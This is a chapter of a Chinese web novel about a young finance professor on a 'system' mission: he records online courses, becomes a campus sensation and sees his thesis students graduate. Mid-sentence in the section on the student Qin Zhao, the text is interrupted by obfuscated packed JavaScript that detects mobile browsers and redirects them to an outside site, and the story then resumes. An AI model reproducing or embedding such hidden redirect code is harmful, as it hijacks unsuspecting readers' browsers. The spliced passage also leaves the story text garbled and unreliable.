贺明隽清醒又有点不近人情地指出:“或许它清楚,买猫粮的人是我。” 他在外面玩了一周,其中大半时间都在酒店呆着。 回去后,白团子还记得他,只是可能因为再次被抛弃,就别扭地不愿意接近他,却又隔了三四米亦步亦趋地跟着,像是怕真被丢下。 过完元宵节,贺明隽带着白团子返校。 它本来就是校园流浪猫,贺父贺母又要工作不方便照顾,还是带回学校比较好。 开学后,贺明隽开始新学期的工作:安排补考、指导学生的毕设初稿、参加研究生复试…… 除了这些常规的工作,本学期他还要录制网课。 现在高校出于打造学校名片、响应教育变革等目的,都会在慕课等平台上传免费的网课。 网课需要录制再后期制作,而不能直接将平时上课内容录像后上传。 甚至录制时还有些与面对面授课不同的细节要注意,比如,不能穿得太随意,也不能穿季节性太强的衣服。 于是贺明隽就穿了正装,白衬衫黑西装,没有系领带。 学校给他安排的录制时间是在周二下午。 而上午有课的贺明隽自然不会中午特意去换身衣服。 天冷的时候他就在外面加一件大衣。 不刷朋友圈、不加年级大群的贺明隽也就不知道,他的照片在金融学院刷了屏。 “都是学金融的,为什么贺老师穿西装那么高级,而我看起来就像是个卖保险的!” “可能是他的西装比较贵?” “我换上同款能有这样的效果吗?” “西装剪裁和面料很重要,但更贵的是他的那张脸和气质吧。” 还有同学将照片剪裁后做成手机壁纸,比如:“拜隽哥不挂科”、“论文写完了吗还玩手机?!” 不少人表示很有用—— “谢谢,一想到毕设答辩时可能要面对贺老师,我连玩手机都提不起来兴致的。” …… 贺明隽讲课时仪态很好,条理和口齿都很清晰,哪怕只是面对机器,他都不会磕磕巴巴。 因此,他录制网课效率很高。 等天气渐暖,贺明隽把大衣脱掉的时候,他的课录完了。 到了四月,校园里春意盎然,这个时候天气不冷不热,垂柳青翠,又没有柳絮纷飞,正适合举办校园运动会。 贺明隽在做热身运动的时候,淡定得一点也看不出他从上学期就开始练习的模样。 就连最后赢了,他也有一种一切尽在预料之中的气度。 像这种全校参与的盛会,不仅各学院的学生会要做推送,就连学校的官网以及在各平台的官方号都会发稿或视频。 有些学生还会自己拍摄剪辑,将视频发在社交账号上。 这时候,除了表现得格外精彩的运动员,长得好看的人总是能吸引更多目光。 各学院在入场仪式上举牌的院花、青春靓丽的啦啦队、身着挺括制服的仪仗队…… 还有,看起来像是学生误入老师队伍的贺明隽。 贺明隽本就年轻,要是有人入学比较晚,又考研两三次才上岸的话,恐怕年纪都能赶上贺明隽这个老师了。 而他这副皮囊更显年纪小。 贺明隽平时衣冠楚楚、气场强大,倒是很容易和学生区分开。 只是他现在身穿运动服,露出的手臂肌肉线条完美流畅,运动过后的脸白里透红像是水密桃,发丝有点凌乱,再配上他清冷的眉眼…… 这分明就是多少人心中想象的校草学长嘛! 贺明隽是在与贺母通视频的时候,才知道自己在网络上小小地火了一把,但他并没有在意。 他的任务只是当好这个教授而已,不包括成为名人网红。 校运会的热闹结束,师生的注意力又都转移到教学和学习上。 尤其对于毕业生来说,先不提离开校园后该如何,现在摆在他们面前的还有毕业论文这座大山。 提交终稿、查重、准备答辩…… 一切都顺利而有序地进行着——当然,这是对少数同学来说。 大多数人还在临阵磨枪,焦虑到头秃又觉得无从下手。 这个时候,贺明隽带的那四个本科生就表现得十分云淡风轻。 什么三月份就把初稿写好啦,查重一次过啦……他们让室友嫉妒得牙根儿都痒痒。 面对毕业答辩,他们四人都毫不紧张。 经过贺老师的指导,或许他们的学术水平提高得并不明显,但他们的心里素质和抗压能力的进步绝对是突飞猛进。 还能有导师比贺大佬更严厉可怕吗? 四人组的答辩都通过了。 让他们觉得意外的是,匡杰因为反驳一句就被别的导师砸了一连串问题时,贺老师竟然帮他解围了。 匡杰:受宠若惊、诚惶诚恐! 是他太废物,给贺老师丢脸了。 看到匡杰发的朋友圈,或听到他感叹的朋友都十分诧异:“你是受虐狂啊?还是被PUA了?每一个导师都巴不得自己带的学生通过呢。” 匡杰就摇摇头,一脸高深地说:“你们不懂。” 他贺老师是那种会妥协的人吗? 他这哪里是被PUA啊,分明是被大佬卷到! 贺明隽带的四个本科生中,只有秦昭的毕设被评为优秀毕业论文。 别看她当初被吓哭显得有点胆小,这也说明她对自己要求高,才会在贺明隽的一个个提问中反思,觉得自己很差劲。 她寒假都花了不少时间看文献、查数据,遇见问题了,她一开始请教贺老师时还有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16239190|181880||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点忐忑,后来就发现果然如学姐所说,贺老师只是看着不近人情,实际相当负责。 秦昭自己用心,再加上有贺明隽的指导,她的毕设论文能被评上优秀,也不算什么意外。 可秦昭十分惊喜。 她想起自己第一次开会时的表现,以及杨淑云学姐来开导她,还说过事后贺老师要请喝奶茶的事,就买了束鲜花和一点水果,准备送给贺老师当谢礼。 贺明隽没有收,他说:“论文能被评为优秀毕设是你自己的努力,指导你本来就是我的分内工作。” 最终那束花也没有白买,秦昭拿来当拍照的道具了。 学校正式的毕业典礼在六月末,可他们院、系、班级拍毕业照会提前一点,甚至有些宿舍或关系好的同学还会买统一的服装拍照。 贺明隽找出压在柜子底的学位服,提前清洗熨烫。 一张张照片被定格,一顶顶学位帽被抛向空中。 贺明隽拍完合照就打算离开了,毕竟六月份操场上还是有点热的,周围又是一片嘈杂,他并不喜欢这样的场合。 只是他没走两步,就被人拦住了,是他带的那四个本科生。 赵旭新被推出来当出头鸟,他咧嘴,露出一个阳光开朗的笑,才问:“老师,能和你合个照吗?” 贺明隽不喜欢拍照,但想到现在是个特殊时刻,还是点点头,说:“可以。” 他伸手整理了一下学位服。 先是五人合照,然后是每位学生逐一和贺明隽合照。 拍照用的是林颖聪的手机,她说:“我把照片发群里。” 贺明隽说了几句祝福语,和他们告别。 这时旁边又冲出来一位学生,要和他合照。 贺明隽愣了一下,还是点头同意。 女生赶紧把同伴拉过来,把自己的手机交给她,拍完后还问同伴:“你要拍吗?” 同伴呆愣愣的,看了一眼贺明隽,问:“我可以拍吗?” 贺明隽不至于连这点小请求都拒绝。 又合照一张,他才离开。 两个女生凑在一起看拍摄的照片。 “你好勇啊!看着贺老师那张拒人于千里之外的脸,我都不好意思提出和他合照。” “啊?我看有学生和他合照啊,还怕等会儿要排队,就抢个先。金融院草哎,都毕业了,要是没张合照也太遗憾了吧。” “可是,那几个好像是他带毕设的学生。” “……” * 毕业生离开校园,学校又送走一届学生。 对此,贺明隽倒没有过多的感慨,他只是难得地想起自己的任务和系统所说的男女主。 顾辞还在本校读MBA。 贺明隽在周末见过几次。 他们学校设置的MBA课程是两年制,如果顾辞主要是冲着白梦绮才参加这个课程的话,那他们刚好可以一起毕业。 贺明隽不清楚他们两个的感情状况。 因为他不主动、甚至觉得梁双双发来的消息大多是废话很少回复,梁双双也不怎么联系他了。 他只知道梁双双打算考公,而白梦绮已经在准备考研。 贺明隽觉得自己已经做到任务的要求:没牵扯到男女主的纠葛中,认认真真当教授,完成教学工作。 可是系统还没有给出任务完成的判定……